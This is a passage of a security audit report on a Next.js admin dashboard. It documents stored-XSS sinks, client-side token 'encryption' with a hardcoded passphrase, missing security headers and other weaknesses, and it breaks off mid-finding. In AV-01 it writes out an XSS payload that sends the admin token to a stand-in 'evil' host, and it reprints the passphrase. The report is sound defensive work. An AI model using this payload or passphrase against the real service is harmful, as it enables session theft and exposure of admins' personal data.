← All repos

alist-vendors

Next.js 15 admin/vendor dashboard for alist.ae. Pure client-side SPA against an external PHP/Laravel REST API; the Bitbucket "php" tag is misleading.

Primary stackNext.js 15 / React 19 / TypeScript Last commit2025-11-06 Repo size117 MB Files731 Branchmain Health Critical

Executive summary

Tech stack

Next.js 15.3.3 React 19 TypeScript 5 (strict) Tailwind v4 Redux Toolkit 2.8 redux-saga 1.3 axios 1.11 d3 7 crypto-js 4.2 @headlessui/react 2.2 date-fns 4 No tests
CategoryTechnologyVersionNotes
FrameworkNext.js (App Router)15.3.3Behind the patched 15.3.x/15.5.x line at audit date; no SCA. App API routes unused.
UI runtimeReact^19.0.0Resolves 19.1.0 in lockfile; most pages are client components.
LanguageTypeScript^5Strict mode on; ~55 any annotations remain.
StylingTailwind CSS + PostCSS^4No shadcn / no design tokens / no theme file. Lots of inline px values.
State@reduxjs/toolkit + redux-saga2.8 / 1.3thunk: false; sagas are mandatory for async.
HTTPaxios^1.11.0Single instance in services/apiHelper.tsx; no max body/content length set.
Chartsd3^7.9.0Custom components, no chart lib.
Auth cryptocrypto-js^4.2.0AES with a hardcoded passphrase (see findings).
UI primitives@headlessui/react, swiper, react-hot-toast2.2 / 12 / 2.6swiper / date-fns / react-hot-toast are missing from the lockfile (see AV-05).
Fonts@fontsource/poppins^5.2.6CSS-imported in layout.tsx; next/font not used.
AnalyticsGoogle Tag Manager + 3× gtagFour inline scripts in root layout.tsx.
TestsNo test runner, no test files, no coverage.
CI/CDNo .github/, no bitbucket-pipelines.yml, no Dockerfile.

Architecture

Single-page admin dashboard. Every route is a client component that dispatches Redux actions; sagas handle async via a shared axios instance pointed at NEXT_PUBLIC_API_BASE_URL (currently https://dev-partners.alist.ae/api). The Next.js server only renders the shell and runs middleware.ts, which gates routes on the presence of a token cookie (no token validation). There are zero API routes and zero server actions in this codebase — the backend lives elsewhere.

alist-vendors/ ├── .env # committed (only NEXT_PUBLIC_* vars, but still tracked) ├── middleware.ts # cookie-presence gate; admin routes get a redirect param ├── next.config.ts # / → /login redirect; remotePatterns built from env ├── package.json # name: "alist-dashboard" ├── public/ # static icons, fonts, images └── src/ ├── app/ │ ├── layout.tsx # GTM + 3× gtag inline scripts, <StoreProvider>, <AuthInitializer> │ ├── page.tsx # empty stub; redirect handled by next.config │ ├── (auth)/login/ # phone+OTP form, SlideCaptcha │ └── (features)/ │ ├── DashboardShell.tsx # sidebar/nav, idle timeout, profile menu │ ├── dashboard/ │ ├── admin/{team,upgrade-plan}/ │ ├── businesses/{brands,accounts,campaigns,dedicated-offers,campaign-request,activities}/ │ └── creators/{profiles,ugc,mod-tools}/ ├── components/ │ ├── auth/AuthInitializer.tsx # rehydrate token (duplicate of StoreProvider logic) │ ├── Layout/ # Sidebar, Nav │ ├── general/ # Loader, Pagination, PinModal, SlideCaptcha, dropdowns… │ └── features/{brands,accounts,campaigns,creators,dedicated-offers,team,dashboard}/ ├── services/ │ ├── apiHelper.tsx # axios instance + setAuthToken + 401 interceptor │ ├── authService.tsx # raw axios for login/OTP (no auth header) │ └── commonService.tsx # thin fetch/post/put/delete wrappers ├── store/ │ ├── store.ts rootReducer.ts rootSaga.ts StoreProvider.tsx │ └── {auth,brand,account,campaigns,dedicated-offers,dashboard,search,common}/ │ └── <feature>Slice.ts + <feature>Saga.ts ├── data/ # hand-written mock arrays (some still used) ├── hooks/ # useDebounce, useIdleTimeout, usePagination ├── types/ # entities/, api.ts, auth.ts, requests.ts, charts.ts └── utils/ # adapters, formatters, sidebar config

Security assessment

This is a white-box static security review of the alist-vendors source tree, grounded in the anthropic-cybersecurity-skills playbook library. Each finding was produced by parallel OWASP/CWE-mapped dimension scans, then adversarially verified by reading every cited file and line before assigning severity, CVSS 3.1 vectors, and confidence. Overlapping scanner hits were merged into single canonical findings; unverifiable scanner claims (notably an asserted CVSS-10 RSC RCE) were downgraded or rejected.

OWASP Top 10 2021 OWASP WSTG OWASP API Top 10 2023 CWE CVSS 3.1 NIST CSF 2.0
Playbooks applied to this repo (dimensions: client_secrets, xss_clientside, auth_token, supply_chain_fe, misconfig_cors):
testing-for-xss-vulnerabilities exploiting-prototype-pollution-in-javascript testing-for-open-redirect-vulnerabilities implementing-secret-scanning-with-gitleaks testing-for-sensitive-data-exposure performing-cryptographic-audit-of-application testing-jwt-token-security testing-api-authentication-weaknesses testing-oauth2-implementation-flaws performing-sca-dependency-scanning-with-snyk analyzing-sbom-for-supply-chain-vulnerabilities detecting-supply-chain-attacks-in-ci-cd prioritizing-vulnerabilities-with-cvss-scoring testing-cors-misconfiguration testing-for-host-header-injection

Risk narrative

alist-vendors is a Next.js 15 admin dashboard whose authentication and output-encoding posture is broken by design, producing a directly exploitable account-takeover chain. Eight live, unsanitized dangerouslySetInnerHTML sinks render attacker-controllable API content (campaign/offer descriptions, content rules, and consumer-submitted review comments) into the privileged admin origin, while the session bearer token and full PII user object are stored in JS-readable localStorage and a non-HttpOnly cookie, "encrypted" only with a passphrase (al123@st678$ven) that ships in the public bundle — so any of those XSS sinks yields a decryptable, replayable admin token. There is no Content-Security-Policy, no security headers, no token validation in middleware (presence-only), no CI/SCA/secret scanning, ESLint is disabled at build, and the lockfile is so stale that npm ci fails and forces unpinned build-time dependency resolution. Secondary weaknesses (client-side-only PIN gate on KYC downloads, a ~21-day idle timeout, incomplete logout teardown, dev backend URLs baked into the bundle, an open redirect) broaden the exposure. A low-privilege or even unauthenticated content submitter can plausibly achieve stored XSS in an admin session and steal a live admin token against dev-partners.alist.ae.

Overall security risk
Critical
2 P0 3 P1 6 P2 3 P3

OWASP Top 10 2021 coverage

CategoryStatusNotes
A01:2021 Broken Access Control Vuln AV-04 presence-only middleware gate; AV-08 client-side-only PIN on KYC downloads; AV-12 post-login open redirect.
A02:2021 Cryptographic Failures Vuln AV-02 token + PII "encrypted" with a hardcoded passphrase shipped in the bundle; zero confidentiality at rest.
A03:2021 Injection Vuln AV-01 eight live unsanitized dangerouslySetInnerHTML stored-XSS sinks rendering API content into the admin origin.
A04:2021 Insecure Design Partial Pure-SPA-against-external-API design with client-side-only auth/PIN gates and security-theatre encryption is an insecure-by-design pattern; addressed via BFF in AV-02/AV-04/AV-08 remediations.
A05:2021 Security Misconfiguration Vuln AV-03 no CSP/HSTS/X-Frame-Options/Referrer-Policy (clickjackable); AV-07 ESLint disabled, no CI; AV-11 committed dev .env; AV-13 unconditional 3rd-party trackers.
A06:2021 Vulnerable and Outdated Components Vuln AV-06 next 15.3.3 / react 19.1.0 / axios 1.11.0 behind patched lines with no SCA; scanner's CVSS-10 RSC RCE could not be corroborated and is downgraded to theoretical.
A07:2021 Identification and Authentication Failures Vuln AV-09 ~21-day idle timeout; AV-10 incomplete logout teardown (residual PII + persistent axios Authorization header).
A08:2021 Software and Data Integrity Failures Vuln AV-05 stale lockfile breaks npm ci and forces unpinned build-time dependency resolution; no integrity gate.
A09:2021 Security Logging and Monitoring Failures Partial AV-07 folds in production console logging of full API responses and AxiosError (potential Bearer-header leak); no monitoring exists, but as a pure SPA most logging is server-side/out of scope.
A10:2021 Server-Side Request Forgery N/A No server-side request construction in this repo; all fetches are client-side axios to a fixed backend host. No SSRF surface.

Detailed findings

P0 · Critical (2) P1 · High (3) P2 · Medium (6) P3 · Low (3)
AV-01

Stored XSS via multiple unsanitized dangerouslySetInnerHTML sinks rendering attacker-controllable API content into the admin SPA

P0 A03:2021 Injection CWE-79 CVSS 9.0 EPSS n/a confirmed
Description

Eight live application sinks (campaign Overview x3, CampaignGuidlines rule_1..3, dedicated-offer Overview x3, and campaign Reviews) render string fields straight from the external Laravel API into the DOM via dangerouslySetInnerHTML with no sanitization. The data is stored verbatim from response.data.data in the sagas. React's JSX auto-escaping is explicitly bypassed. There is no DOMPurify/sanitize-html in the repo and no Content-Security-Policy as a second layer. The review-comment sink (Review.tsx:35) is the most accessible: comments are consumer/creator-authored and likely require no admin privilege to plant, while the campaign/offer fields are vendor-authored. A DedicatedOfferGuidelines.tsx component contains two more identical sinks but is currently dead code (commented out at Overview.tsx:8,83-85) — it would reintroduce the bug if re-enabled.

Evidence
src/components/features/campaigns/tabs/Reviews/Review.tsx:35 dangerouslySetInnerHTML={{ __html: reviewText }} — reviewText = review.comments (Reviews.tsx:72), consumer/creator-generated, lowest-trust source (PR:N path) src/components/features/campaigns/tabs/Overview/CampaignGuidlines.tsx:15,18,21 rule_1/rule_2/rule_3 injected raw; component is ACTIVELY rendered at Overview.tsx:78 src/components/features/campaigns/tabs/Overview.tsx:66,71,75 rejectReason / description / phone_campaign_message injected raw src/components/features/dedicated-offers/tabs/Overview.tsx:72,77,81 rejectReason / description / confirmation_message injected raw src/store/campaigns/CampaignSaga.ts:100 getCampaignDetailsSuccess(response.data.data) and :153 getCampaignReviewsSuccess(response.data.data) store raw API objects; reducer stores verbatim grep across src + package.json: zero DOMPurify/sanitize-html/xss libraries; no CSP anywhere (next.config.ts has no headers(), layout.tsx has no CSP meta)
Attack scenario
An attacker submits a campaign review (or, as a vendor, sets a campaign rule/description) containing <img src=x onerror=fetch('https://evil/?t='+localStorage.token)>. When admin staff open the campaign's Reviews/Overview tab, the script runs in the admin origin, reads localStorage['token'], decrypts it with the bundled passphrase, exfiltrates it, and the attacker replays the Bearer token against the admin API.
Impact

Arbitrary JavaScript executes in the alist.ae admin/staff origin when staff open a malicious campaign, offer, or its reviews. Because the auth bearer token lives in non-HttpOnly localStorage['token'] and a non-HttpOnly cookie, AES-wrapped with a passphrase (al123@st678$ven) that ships in the client bundle (AV-02), the payload can read and decrypt the token and the localStorage['user'] PII blob in one step and impersonate the admin against dev-partners.alist.ae/api/* (approve/reject content, read all vendor PII, manage team). Scope is Changed: lower-trust vendor/consumer content compromises the higher-privilege admin context.

Remediation
Introduce isomorphic-dompurify and wrap every dangerouslySetInnerHTML in DOMPurify.sanitize() with a restrictive allow-list, or render as plain text where rich formatting is unneeded (reviews almost certainly do not need HTML). Sanitize/validate these fields server-side in the backend repo too. Add a strict CSP (script-src 'self'; object-src 'none'; base-uri 'none'; frame-ancestors 'none') via next.config headers() as defense-in-depth, and move the token out of JS-readable storage (AV-02). Delete or neutralize the dormant DedicatedOfferGuidelines sinks.
Verifier note

Merged four scanner XSS findings into one canonical sink-family entry; all sinks verified by reading each file. Severity set to P0/CVSS 9.0 reflecting the review-comment PR:N path. DedicatedOfferGuidelines confirmed dead code (import and usage both inside the commented block) so it is documented as latent, not counted as a live sink. CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N.

AV-02

Bearer token and full PII user object stored in JS-readable localStorage + non-HttpOnly/non-Secure/non-SameSite cookie, "encrypted" with a hardcoded passphrase shipped in the bundle

P0 A02:2021 Cryptographic Failures CWE-522 CVSS 8.1 confirmed
Description

After OTP login the bearer token is written to BOTH localStorage['token'] and document.cookie with only path+max-age (no HttpOnly, Secure, or SameSite), and the entire PII Account object is written to localStorage['user']. Both blobs are CryptoJS.AES-"encrypted" with the symmetric passphrase 'al123@st678$ven', hardcoded as a literal in four source files that all compile into the public client bundle. Because the decryption key travels with the ciphertext (shipped to every browser), this is obfuscation, not encryption — anyone with the bundle, devtools, or an XSS foothold can decrypt the token and PII in one line. CryptoJS's OpenSSL EVP_BytesToKey (single-pass MD5) KDF is additionally weak, but that is moot. The non-HttpOnly cookie cannot be protected by JS-set cookies by construction; the missing Secure flag risks plaintext exposure on HTTP downgrade; missing SameSite is a latent CSRF surface.

Evidence
src/services/apiHelper.tsx:5 const secretPass = 'al123@st678$ven'; src/services/apiHelper.tsx:17-19 CryptoJS.AES.encrypt(JSON.stringify(token), secretPass); localStorage.setItem('token', ...); document.cookie = `token=${encryptedToken}; path=/; max-age=86400` (no Secure, no SameSite, no HttpOnly) Same literal duplicated in src/store/auth/authSaga.ts:31, src/components/auth/AuthInitializer.tsx:10, src/store/StoreProvider.tsx:10 src/store/auth/authSaga.ts:63-64 encrypts the full Account object (firstName, lastName, emailAddress, phoneNumber, country_code, accountId, accountType — verified in src/types/entities/account.ts) and writes localStorage.setItem('user', ...) src/components/auth/AuthInitializer.tsx:21-25 decrypts both token and user with the same literal — proving the key is shipped client-side
Attack scenario
Attacker triggers any XSS (AV-01) or, on a shared/kiosk machine, opens devtools, reads localStorage['token'] and ['user'], runs CryptoJS.AES.decrypt with the publicly-known passphrase, recovers a valid Bearer token plus the previous admin's email/phone, and replays the token against dev-partners.alist.ae/api.
Impact

Any client-side script execution (the XSS sinks in AV-01, a malicious dependency from AV-05, a hijacked Google tag, or a browser extension) yields immediate full session theft plus admin PII (name, email, phone). A stolen token grants full API access as the victim admin/vendor for the token lifetime. The client-side "encryption" provides zero confidentiality. The duplicated literal also makes rotation error-prone (must change four files) and is a committed secret to be retired.

Remediation
Stop client-side token encryption entirely — it cannot protect a secret on the client. Issue the session as an HttpOnly; Secure; SameSite=Strict cookie set by the backend (or a thin Next.js Route Handler / BFF that proxies /api/verify-otp), and delete the localStorage token and user copies. Do not persist PII client-side; keep it in in-memory Redux and refetch after auth. Remove the secretPass literal from all four files and treat al123@st678$ven as a compromised value to retire across the codebase. Rotate tokens in circulation.
Verifier note

Merged five scanner findings (client_secrets token-storage, hardcoded passphrase x2, PII-in-localStorage, auth_token cookie-flags) into one canonical at-rest-credential finding. All four duplicate literals and the cookie-set line verified. Elevated to P0 because it is the direct token-theft enabler that turns AV-01 XSS into full account takeover. CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N.

AV-05

Stale lockfile out of sync with package.json: npm ci breaks; missing/floating deps resolved unpinned at build time

P1 A08:2021 Software and Data Integrity Failures CWE-1104 CVSS 7.0 confirmed
Description

The committed package-lock.json predates several package.json edits. Three runtime dependencies the app imports (swiper, date-fns, react-hot-toast) are entirely missing from the lockfile, and three more (@headlessui/react, @reduxjs/toolkit, sharp) disagree between manifest and lock. As a result npm ci (the reproducible-build command) will fail with a lock-mismatch error, forcing operators to npm install, which silently resolves the missing/floating packages from the live public registry at build time against caret ranges with no integrity pin. Whatever the registry serves at install time ships — including any future malicious/compromised release satisfying ^12/^4/^2.6. With no .npmrc, dependency-confusion / hijacked-release scenarios for these names would be pulled without warning, and there is no CI/SCA gate.

Evidence
package.json declares swiper ^12.0.2, date-fns ^4.1.0, react-hot-toast ^2.6.0 — all THREE are ABSENT from package-lock.json (verified: node_modules entry missing AND not in packages[''].dependencies) Version drift: @headlessui/react manifest ^2.2.7 vs lock 2.2.6; @reduxjs/toolkit manifest ^2.8.2 vs lock resolves 2.9.0; sharp manifest ^0.34.4 vs lock 0.34.2 (all verified via package-lock.json inspection) No .npmrc/.yarnrc present, so install resolves missing packages from the default public npm registry No CI pipeline exists to catch the drift (no .github/, bitbucket-pipelines.yml, Dockerfile, vercel.json — verified absent)
Attack scenario
A build (local or future CI) runs npm install because npm ci fails on the lock drift; npm pulls the latest swiper/date-fns/react-hot-toast satisfying the caret range. An attacker who has published a malicious patch of one of these (or compromised a maintainer) gets their code into the production admin bundle, exfiltrating the decryptable bearer token from every admin session.
Impact

Non-reproducible, non-deterministic builds; broken npm ci; and a build-time integrity gap. An attacker compromising one of the unpinned package names (or a transitive dep) injects code into the admin dashboard bundle, which runs in privileged admin browsers holding live bearer tokens for the A-List backend — yielding token theft / full admin-session compromise.

Remediation
Run npm install once to regenerate package-lock.json so it matches package.json, commit it, and switch CI to npm ci. Add an .npmrc pinning the registry and preventing public-registry fallback for any private scopes. Add a lockfile-lint / npm-ci-must-pass gate and an SCA scanner so future manifest edits without a lock refresh are caught.
Verifier note

Verified the three absent packages and the three drifted versions directly from package-lock.json. CVSS AC:H reflects the dependency on an attacker first compromising a package; kept P1 given the privileged blast radius and absence of any CI/SCA control. CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:N.

AV-03

No Content-Security-Policy or security response headers (no defense-in-depth; clickjackable; referrer/PII leakage)

P1 A05:2021 Security Misconfiguration CWE-1021 CVSS 6.5 confirmed
Description

The app ships with framework-default headers: no Content-Security-Policy, no X-Frame-Options / frame-ancestors, no HSTS, no X-Content-Type-Options, no Referrer-Policy, no Permissions-Policy. With eight live unsanitized HTML sinks (AV-01) there is zero second layer against XSS — injected inline scripts and event handlers execute unconstrained and can exfiltrate to any origin. Absence of frame-ancestors/X-Frame-Options leaves all authenticated routes (/dashboard, /admin/team, campaign approvals/deletes) embeddable in an attacker iframe for clickjacking against state-changing admin actions. Missing Referrer-Policy leaks admin deep-link URLs (brand/account/campaign IDs) to the four Google tracker origins and any external link. Missing HSTS permits TLS-stripping on the admin surface.

Evidence
next.config.ts:1-54 defines only eslint, images, and redirects() — no async headers() function src/app/layout.tsx:27-98 <head> has only viewport meta plus inline gtag/GTM scripts — no CSP meta middleware.ts:1-45 sets no response headers (cookie-presence redirects only) grep across src/next.config.ts/middleware.ts for content-security-policy|x-frame-options|frame-ancestors|strict-transport|headers(): zero matches No vercel.json/Dockerfile/reverse-proxy config in tree to inject headers elsewhere
Attack scenario
After landing an XSS payload (AV-01) the attacker's inline script runs and POSTs the decrypted token to evil.example with no CSP to block it; alternatively the attacker frames /admin/team on a lookalike page and overlays a transparent "Remove member" button over a decoy, harvesting clicks from a logged-in admin.
Impact

Removes the single most effective mitigation against the AV-01 XSS sinks: a strict script-src would block inline/event-handler execution and external exfiltration, downgrading several P0 chains. Clickjacking enables tricking authenticated admins into approvals/deletes/team changes. Sensitive admin URLs leak to advertising trackers.

Remediation
Add an async headers() block in next.config.ts for source '/(.*)' emitting: Content-Security-Policy (default-src 'self'; connect-src 'self' https://dev-partners.alist.ae; script-src with nonces/hashes for the gtag blocks; object-src 'none'; base-uri 'none'; frame-ancestors 'none'), Strict-Transport-Security: max-age=63072000; includeSubDomains; preload, X-Frame-Options: DENY, X-Content-Type-Options: nosniff, Referrer-Policy: strict-origin-when-cross-origin, and a restrictive Permissions-Policy. Refactor the four inline gtag scripts (layout.tsx:32-97) to nonce-based or external scripts so a strict CSP can be adopted.
Verifier note

Merged the two xss_clientside CSP findings, the misconfig "no security headers" finding, and the standalone clickjacking finding into one canonical headers-hardening entry. Verified by grep returning zero header config in source and no deploy manifest to set them elsewhere. CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N.

AV-04

Route-protection middleware checks only token cookie presence, never validity, signature, or expiry

P1 A01:2021 Broken Access Control CWE-287 CVSS 6.5 confirmed
Description

middleware.ts gates all non-/login, non-static routes solely on the existence of a non-empty 'token' cookie. It does not (and cannot, given the blob) validate the token. Any value — document.cookie='token=x' typed in devtools, an expired or revoked token, or a garbage string — passes the gate and renders the full authenticated SPA shell, layout, and client logic. Real authorization is enforced only downstream when the external API returns 401 on the first XHR (the axios interceptor then redirects), but protected pages and their bootstrapping render before/independently of that round-trip.

Evidence
middleware.ts:5 const token = request.cookies.get('token')?.value; middleware.ts:15 if (!token) { redirect to /login }; :30 if (token && isAuthRoute) redirect to /dashboard No decryption, JWT parse, signature/exp/iss/aud check, or backend call anywhere in middleware.ts (grep for jwt/decode/verify/jose returns nothing) The cookie value is the opaque AES blob (apiHelper.tsx:19), which middleware cannot even decrypt — it only tests non-emptiness
Attack scenario
An attacker who never authenticated sets document.cookie='token=anything' in the browser console, navigates to /dashboard or /admin/team, and the middleware lets the full dashboard shell render; combined with any client-rendered constant or pre-fetched cache this discloses internal structure before the first API 401.
Impact

The authentication gate is trivially satisfiable with an arbitrary cookie value; expired/revoked tokens still pass routing. Protected client pages render without any real auth assertion, exposing UI structure, embedded constants, and client logic. Security depends entirely on the backend rejecting the Bearer header, not on the gate.

Remediation
Treat the middleware gate as UX-only and document it as non-authoritative, OR move the session to a server-issued HttpOnly cookie containing a signed JWT and verify signature/exp/iss/aud in middleware (e.g. with jose). Ensure every data fetch remains independently authorized server-side (it is, via Bearer). Do not render sensitive data before the API confirms the session.
Verifier note

Confirmed by reading middleware.ts in full. Kept P1: real data is API-gated by Bearer, so impact is bounded to UI/structure disclosure and gate-bypass rather than data theft, but presence-only gating of an admin app is a genuine broken-access-control weakness. CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N.

AV-06

Outdated framework/dependencies with no SCA: next 15.3.3, react/react-dom 19.1.0, axios 1.11.0 behind patched lines

P2 A06:2021 Vulnerable and Outdated Components CWE-1104 CVSS 5.3 CVE-2025-58754 EPSS unverified likely
Description

The app pins next@15.3.3 and resolves react/react-dom@19.1.0 and axios@1.11.0, all behind their current patched release lines, with no dependency-scanning or patch process. The scanner asserted these versions are affected by a "React2Shell" CVSS-10 unauthenticated RSC-deserialization RCE cluster (CVE-2025-55182/-55183/-55184/-66478/-67779) and by next CVE-2025-49005 and axios CVE-2025-58754. I could NOT corroborate the existence/severity of the cited next/react RCE CVE identifiers, and the scanner itself rated the RCE "likely" while admitting the deployment model is undocumented; I therefore do not assert an unauthenticated RCE. What is verifiable and material: the app runs an SSR/Node runtime (server components + middleware confirmed), is several patch versions behind on a security-relevant framework, ships no SCA, and the axios instance is unbounded (no maxContentLength), exposing a browser-side memory-exhaustion DoS if the upstream API is malicious/compromised.

Evidence
package.json:20 next 15.3.3; package-lock.json resolves next 15.3.3, react 19.1.0, react-dom 19.1.0, axios 1.11.0 (all verified) App Router with server components present (verified: layout.tsx, (features)/layout.tsx, admin/team/page.tsx, creators/ugc & mod-tools, login/page.tsx render without 'use client') plus middleware.ts and sharp dependency indicate a running Node/SSR runtime No SCA/dependency scanning, no npm audit step, no CI (no .github/, bitbucket-pipelines.yml — verified absent) axios shared instance (apiHelper.tsx:7) sets only baseURL — no maxContentLength/maxBodyLength
Attack scenario
Most realistic verified path: a compromised or MITM'd dev-partners.alist.ae streams an oversized response body; the unbounded axios instance buffers it and freezes/crashes the admin's browser tab. Speculative path (unverified): if an in-the-wild RSC-deserialization RCE truly affects these versions and the app runs as a Node SSR server, an unauthenticated attacker POSTs a crafted Flight payload to gain code execution on the host.
Impact

Running a security-relevant framework patch-behind with no SCA means any genuinely-disclosed Next.js/React/axios CVE in these ranges goes unpatched and unnoticed. Concretely verifiable today: unbounded axios responses can exhaust the admin browser tab (self-DoS) if the backend is compromised/MITM'd. If any of the asserted RSC CVEs are real and the app is deployed as a running Node server, the worst case is server-side RCE — but that worst case is unverified here.

Remediation
Upgrade next to the latest patched 15.3.x/15.5.x line, pin react/react-dom to the latest 19.1.x patch, and bump axios to >= 1.12.0; regenerate the lockfile and re-run npm audit. Set explicit maxContentLength/maxBodyLength on the shared axios instance. Stand up scheduled SCA (npm audit --audit-level=high / Snyk) in CI so newly-disclosed CVEs in these ranges are surfaced and patched. If no SSR features are required, consider a static export to remove the server attack surface.
Verifier note

DOWNGRADED from the scanner's P0/CVSS-10. The version pins are real and verified, but I could not corroborate the cited "React2Shell" RCE CVE identifiers (CVE-2025-55182 etc.) or their CVSS 10.0 claims, and the scanner's own confidence was "likely" with an undocumented deployment. Reframed as a confirmed patch-lag/no-SCA hygiene finding (P2) with the axios unbounded-response DoS (CVE-2025-58754, the one verifiable low-impact item) folded in; the RCE remains theoretical pending CVE corroboration and a confirmed running-server deployment. CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L.

AV-07

No CI/CD pipeline, no dependency/secret scanning, ESLint disabled during build

P2 A05:2021 Security Misconfiguration CWE-1104 CVSS 5.3 confirmed
Description

There is no automated build/test/security pipeline of any kind: no GitHub Actions, no Bitbucket Pipelines, no Jenkins. Consequently there is no SCA, no secret scanning, no SAST, and no lockfile-integrity gate — exactly the controls that would have caught AV-05's lock drift and AV-06's patch lag. The one quality control present is defeated: eslint.ignoreDuringBuilds:true means next/core-web-vitals lint (which flags dangerouslySetInnerHTML) never blocks a build. Production console logging compounds this: commonService.postData logs the full Axios response on every POST and the full AxiosError (including request config/headers, potentially the Authorization Bearer header) on failure, and Next.js does not strip console.* by default.

Evidence
No .github/, bitbucket-pipelines.yml, Jenkinsfile, .gitlab-ci.yml, Dockerfile, or vercel.json anywhere in the tree (verified absent) next.config.ts:4-6 eslint: { ignoreDuringBuilds: true } package.json scripts: only dev/build/start/lint — no test, no audit, no scan; no test files in repo 18 console.log/error/warn calls remain in src (verified); commonService.tsx:18,23 log full Axios response and AxiosError (which can include the Authorization header) to the browser console; next.config.ts sets no compiler.removeConsole
Attack scenario
A developer adds a vulnerable dependency or an unsanitized sink; with no CI lint/SCA/secret gate it ships to the admin dashboard unnoticed. Separately, support staff or a malicious extension reading the admin's console harvests brand/offer records and, from a failed request, the Bearer token embedded in the logged AxiosError config.
Impact

Vulnerable dependencies, leaked secrets, code-quality regressions, and the XSS/auth findings can ship to the admin dashboard undetected because no automated gate exists. Disabled lint removes the last static guardrail. Console logging of API responses and AxiosError objects leaks internal/PII-bearing data and potentially the Bearer header to anyone with the admin's devtools or a malicious browser extension/RUM tool.

Remediation
Stand up a CI pipeline (Bitbucket Pipelines or GitHub Actions) running on every PR/push: npm ci (fails on lock drift), npm audit --audit-level=high or Snyk, a secret scanner (gitleaks/trufflehog per the org playbook), and next lint as a blocking step. Remove eslint.ignoreDuringBuilds (or scope it to local dev). Remove debug console.log/error of response and AxiosError objects; add compiler.removeConsole (keeping only console.error) in next.config.ts and never log AxiosError objects that may carry request headers.
Verifier note

Merged the supply_chain governance finding with the production-console-logging finding (both are "no guardrails" issues). Verified absence of all CI/deploy files, the eslint flag, the two commonService console.log lines, and the 18-statement console count. CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N.

AV-08

Sensitive document download gated only by a client-side PIN flag; backend file URL is pre-known and directly addressable

P2 A01:2021 Broken Access Control CWE-602 CVSS 5.3 likely
Description

Downloading sensitive brand KYC documents (trade license / VAT certificate) is gated by a PIN modal: window.open(API_BASE_URL/fileToDownload) is called only after the Redux flag pinValidationSuccess flips true. This is a purely client-side authorization decision — the protected resource is a direct GET against the Laravel backend at a path the client already holds (fileToDownload) before the PIN is entered. If the backend serves the file on a valid Bearer token without independently binding the PIN authorization to that specific file, any authenticated user can open the URL directly (devtools/network tab/curl) and bypass the PIN entirely.

Evidence
src/components/features/brands/BrandDetails.tsx:173-180 useEffect(() => { if (pinValidationSuccess && fileToDownload) { window.open(`${process.env.NEXT_PUBLIC_API_BASE_URL}/${fileToDownload}`, '_blank'); ... }}) BrandDetails.tsx:186-189 handleDownloadRequest just stores fileToDownload and opens the modal — the URL is known before any PIN is entered src/services/apiHelper.tsx:36 the 401 interceptor explicitly EXCLUDES '/api/validate/pin' from auto-logout, indicating the PIN is treated as a soft check
Attack scenario
An authenticated low-privilege user opens a brand detail page, reads fileToDownload from React state / network tab, and curls https://dev-partners.alist.ae/api/<fileToDownload> with their Bearer token, retrieving the trade license without ever submitting a PIN.
Impact

If the backend does not bind the PIN check to the file resource, sensitive KYC PII documents are downloadable by any authenticated user, defeating the intended step-up control. Confidence is "likely" because the backend is out of scope for this static review; the client code unambiguously shows the gate is client-enforced and the URL is pre-known.

Remediation
Enforce the PIN/step-up authorization server-side: have /api/validate/pin issue a short-lived, file-scoped capability token or signed URL, and make the file endpoint reject direct access without it. Never rely on a client-side boolean to guard a directly addressable backend resource.
Verifier note

Confirmed the client-side gate and pre-known URL by reading BrandDetails.tsx:173-189 and the PIN exclusion in apiHelper.tsx:36. Kept "likely" — server-side enforcement cannot be verified from this repo. CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N.

AV-09

Idle/session timeout effectively disabled (~21 days instead of 30 minutes)

P2 A07:2021 Identification and Authentication Failures CWE-613 CVSS 4.8 confirmed
Description

The idle-logout hook is configured with idleTime = 1,800,000,000 ms ≈ 20.8 days, almost certainly a typo for 1,800,000 ms (30 minutes). As written the auto-logout never fires within any realistic session, so an abandoned admin tab stays live for weeks of inactivity. Because the token is rehydrated from localStorage on each mount (AuthInitializer.tsx:33) until the API 401s, the 24h cookie max-age does not bound the actual session either.

Evidence
src/app/(features)/DashboardShell.tsx:47 useIdleTimeout(handleIdle, 1800000000); // 1,800,000,000 ms = 500 hours ≈ 20.8 days src/hooks/useIdleTimeout.ts:10 timeoutId.current = window.setTimeout(onIdle, idleTime); DashboardShell.tsx:42-45 handleIdle => dispatch(logout()); router.replace('/login') AuthInitializer.tsx:33 re-applies the stored token on every mount, so the 24h cookie max-age does not bound the effective session
Attack scenario
An admin walks away from an unlocked workstation; the idle timeout never fires, so hours/days later anyone at that machine has a fully authenticated admin dashboard.
Impact

Abandoned/unlocked workstations keep a privileged admin session usable for weeks, widening the window for session hijack on shared/kiosk machines and via shoulder-surfing, and defeating the intended idle-timeout control. AV:P reflects that the primary exploit path is physical access to an unattended logged-in machine.

Remediation
Set idle timeout to the intended 1_800_000 ms (30 min) as a named constant with a comment to prevent regression, and add an absolute session lifetime. Bind effective session lifetime to a short server-side token TTL with a refresh flow; do not silently rehydrate a possibly long-lived token from localStorage.
Verifier note

Confirmed the literal 1800000000 at DashboardShell.tsx:47 and the setTimeout usage in useIdleTimeout.ts. CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N.

AV-10

Logout does not fully clear session state: localStorage['user'] PII retained and axios Authorization header persists in memory

P2 A07:2021 Identification and Authentication Failures CWE-613 CVSS 4.8 confirmed
Description

The Redux logout reducer clears the token cookie and localStorage['token'] but (a) leaves the encrypted user object in localStorage['user'] — decryptable with the public passphrase (AV-02), disclosing the admin's name, email, phone, country, account type and IDs to the next user of the browser — and (b) does not delete the axios default Authorization header (only setAuthToken(null) does, and the UI logout dispatches the reducer instead). The Bearer header therefore remains set in memory after a UI logout until a full page reload, so any request issued before reload still carries the old token.

Evidence
